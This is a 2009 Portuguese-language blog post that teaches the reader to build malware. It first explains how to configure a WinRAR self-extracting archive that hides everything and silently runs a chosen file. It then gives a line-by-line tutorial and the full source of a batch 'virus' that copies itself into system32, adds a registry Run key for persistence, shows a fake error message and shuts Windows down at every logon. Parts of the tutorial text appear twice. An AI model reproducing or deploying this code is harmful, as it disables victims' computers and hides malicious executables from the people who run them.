A propósito é bem simples, você pode usar um binder ou um joiner, mas nós vamos usar o WinRAR.
Um SFX é um auto extrator, ou seja, um executavel que extrai automaticamente os arquivos.
Fazendo um .EXE que extrai e executa um arquivo de modo invisível:
Selecione os arquivos que você quer compactar e aperte com o botão direito em um deles (com todos selecionados). No menu, clique em "Add to archive..." ou "Adicionar para arquivo...".
Na tela do WinRAR selecione a opção "Create SFX file" ou "Criar arquivo SFX". Na aba superior, clique em "Advanced" ou "Avançado" e depois clique no botão "SFX Options..." ou "Opções SFX...".
A seguir em "Path to extract" (pasta para extrair), selecione a opção "Create in current folder" (criar na própria pasta). Em "Setup program" (configurações do programa), no campo de texto "Run after extraction" (iniciar após extração) coloque o nome do programa ou arquivo que você deseja iniciar após a extração. Na aba "Advanced", existem opções que não são muito importantes. Na aba "Modes" (modos), selecione a opção "Unpack to temporaly folder" (descompactar para pasta temporaria) e "Hide all" (ocultar tudo). Na aba "Update", selecione "Extract and replace files" (extrair e substituir arquivos) e "Overwrite all files" (sobreescrever todos os arquivos). Clique em "OK" e "OK" novamente.
Depois da compressão você tem o executavel dentro da pasta dos arquivos ou a que você configurou.
GonG4
;D
sábado, 28 de março de 2009
sexta-feira, 27 de março de 2009
Batch Script (badcom) part1
"Quem gosta de programar scripts batch?"
Opa! A pergunta correta é:
Quem não gosta de programar scripts batch?
Eles são chamados de badcom's, mas não são realmente badcom's (.COM Mal). Badcom's são programas compilados, geralmente feitos em assembly com a extenção .COM, ou seja, não são scripts (linhas de comando).
O que realmente quero mostrar a vocês, leitores, é como programar um script batch (extenção .BAT) de modo "proficional" (não somente comandos simples como copy e del..., mas comandos de condições, executaveis, DLL's, etc).
~~ Vamos começar...
Inicie o CMD (prompt de comando)
Como todo programados sabe, é necessário o uso de variáveis para a funcionalidade de um bom programa, não um simples como copy x, del x...
No Windows existe variaveis ambiente, são aquelas que já estão gravadas nele, para vê-las é só usar o comando SET, uma das principais é a variável path, nela fica os caminhos onde o computador, caso um arquivo não exista na pasta atual, analiza e procura pelos mesmos. As variáveis estão sempre entre %.
Caso queira informações de algum comando use Comando /?.
Começando a programar:
Inicie o notepad (bloco de notas)
- Siga o tutorial e digite os comandos que estão nas caixas.
Rem é usado para gravar comentários, eles não irão interferir em nada na execução do script.
Em um batch script esse comando é importante, pois com ele o usuario não pode ver de onde o arquivo está sendo executado.
Os %% indicam que a palavra é uma variável (systemroot) ou retorno de um comando (CD, pega pasta do atual), caso você use somente a palavra ele vai entender como simples letras.
Usando esse comando você vai acelerar seu script. O verdadeiro valor da variável path vai ser, no meu caso: C:\windows;C:\windows\system32;X:\pasta do arquivo
Use a cor que você preferir. No meu caso usei 02 (verde escuro). Para mais informações: color /?.
Grava a pasta atual em uma variável.
Adiciona um título à tela do CMD. No caso "GNG Betray" (sem aspas).
Limpa a tela do CMD.
Fala determinada letra, palavra ou frase. No caso acima: "GNG Betray Virus" (recomendo não usar acentos).
Determina algumas variáveis p/ uso mais facilitado do script.
Em vez de arquivo.bat, você coloca o nome do seu arquivo.
Vai para o desktop do usuário, todas as ações abaixo desse comando vão ser executadas nele caso você não mude o destino ou vá para outra pasta.
Echo. = pulo de linha.
Segundo, terceiro e último echo's imprimem frases no cmd.
Os outros escrevem um arquivo chamado GNGBetray.txt com o texto:
Blz
Estou aqui para foder com seu PC!!
By GonG4
> = Cria um arquivo e escreve a primeira linha.
>> = Escreve nova linha no arquivo.
cd \ = Volta para o drive. No meu caso: C:\.
Copy = Copia determinado arquivo para determinada pasta.
Reg = Edição de registro.
Msg = Mostra mensagem. * é usado para mostrar as mensagens p/ todos os usuários.
Rundll32 executa funções de executaveis e de DLL's, mas só algumas!!
Código completo do virús:
Esse simples virús deve ser salvo em .BAT.
NÃO ESQUEÇA DE MUDAR A VARIÁVEL DO NOME DO ARQUIVO .BAT!!
Cuidado para não executar!!
Funções:
Desliga Windows toda hora que usúario loga no computador.
~~
Espero que tenha gostado.
GonG4
;D
Opa! A pergunta correta é:
Quem não gosta de programar scripts batch?
Eles são chamados de badcom's, mas não são realmente badcom's (.COM Mal). Badcom's são programas compilados, geralmente feitos em assembly com a extenção .COM, ou seja, não são scripts (linhas de comando).
O que realmente quero mostrar a vocês, leitores, é como programar um script batch (extenção .BAT) de modo "proficional" (não somente comandos simples como copy e del..., mas comandos de condições, executaveis, DLL's, etc).
~~ Vamos começar...
Inicie o CMD (prompt de comando)
Como todo programados sabe, é necessário o uso de variáveis para a funcionalidade de um bom programa, não um simples como copy x, del x...
No Windows existe variaveis ambiente, são aquelas que já estão gravadas nele, para vê-las é só usar o comando SET, uma das principais é a variável path, nela fica os caminhos onde o computador, caso um arquivo não exista na pasta atual, analiza e procura pelos mesmos. As variáveis estão sempre entre %.
Caso queira informações de algum comando use Comando /?.
Começando a programar:
Inicie o notepad (bloco de notas)
- Siga o tutorial e digite os comandos que estão nas caixas.
rem Cabeçalho do arquivo.
Rem é usado para gravar comentários, eles não irão interferir em nada na execução do script.
@echo off
Em um batch script esse comando é importante, pois com ele o usuario não pode ver de onde o arquivo está sendo executado.
set path=%systemroot%;%systemroot%\system32;%cd%
Os %% indicam que a palavra é uma variável (systemroot) ou retorno de um comando (CD, pega pasta do atual), caso você use somente a palavra ele vai entender como simples letras.
Usando esse comando você vai acelerar seu script. O verdadeiro valor da variável path vai ser, no meu caso: C:\windows;C:\windows\system32;X:\pasta do arquivo
color 02
Use a cor que você preferir. No meu caso usei 02 (verde escuro). Para mais informações: color /?.
set cfgng=%cd%
Grava a pasta atual em uma variável.
title GNG Betray
Adiciona um título à tela do CMD. No caso "GNG Betray" (sem aspas).
cls
Limpa a tela do CMD.
echo ::::: GNG Betray Virus :::::
Fala determinada letra, palavra ou frase. No caso acima: "GNG Betray Virus" (recomendo não usar acentos).
set user=%username%
set userpath=%homepath%\
set desktop=%homepath%\desktop
set windows=%windir%\
set drive=%systemdrive%\
Determina algumas variáveis p/ uso mais facilitado do script.
set batchname=arquivo.bat
Em vez de arquivo.bat, você coloca o nome do seu arquivo.
cd %desktop%
Vai para o desktop do usuário, todas as ações abaixo desse comando vão ser executadas nele caso você não mude o destino ou vá para outra pasta.
echo.
echo %cfgng%\%batchname%
echo Creating virus log file...
echo Blz %user%!! > GNGBetray.txt
echo Estou aqui para foder com seu PC!! >> GNGBetray.txt
echo By GonG4 >> GNGBetray.txt
echo Log file created.
Echo. = pulo de linha.
Segundo, terceiro e último echo's imprimem frases no cmd.
Os outros escrevem um arquivo chamado GNGBetray.txt com o texto:
Blz
Estou aqui para foder com seu PC!!
By GonG4
> = Cria um arquivo e escreve a primeira linha.
>> = Escreve nova linha no arquivo.
echo.
echo Copiando arquivos p/ kernel...
cd \
copy %cfgng%\%batchname% %windows%\system32\%batchname%
cd \ = Volta para o drive. No meu caso: C:\.
Copy = Copia determinado arquivo para determinada pasta.
echo.
echo Infectando registro...
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v Killer123 /t REG_SZ /d %windows%\system32\%batchname%
echo Registro infectado.
Reg = Edição de registro.
msg * Error in OS, please restart computer!
echo.
RunDll32.exe USER.EXE,ExitWindowsExec
Msg = Mostra mensagem. * é usado para mostrar as mensagens p/ todos os usuários.
Rundll32 executa funções de executaveis e de DLL's, mas só algumas!!
Código completo do virús:
rem Cabeçalho do arquivo.
@echo off
set path=%systemroot%;%systemroot%\system32;%cd%
color 02
set cfgng=%cd%
title GNG Betray
cls
rem Começo dos códigos.
echo ::::: GNG Betray Virus :::::
set user=%username%
set userpath=%homepath%\
set desktop=%homepath%\desktop
set windows=%windir%\
set drive=%systemdrive%\
set batchname=btrybat.bat
cd %desktop%
echo.
echo %cfgng%\%batchname%
echo Creating virus log file...
echo Blz %user%!! > GNGBetray.txt
echo Estou aqui para foder com seu PC!! >> GNGBetray.txt
echo By GonG4 >> GNGBetray.txt
echo Log file created.
echo.
echo Copiando arquivos p/ kernel...
cd \
copy %cfgng%\%batchname% %windows%\system32\%batchname%
echo.
echo Infectando registro...
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v Killer123 /t REG_SZ /d %windows%\system32\%batchname%
echo Registro infectado.
msg * Error in OS, please restart computer!
echo.
RunDll32.exe USER.EXE,ExitWindowsExec
Esse simples virús deve ser salvo em .BAT.
NÃO ESQUEÇA DE MUDAR A VARIÁVEL DO NOME DO ARQUIVO .BAT!!
Cuidado para não executar!!
Funções:
Desliga Windows toda hora que usúario loga no computador.
~~
Espero que tenha gostado.
GonG4
;D
Assinar:
Comentários (Atom)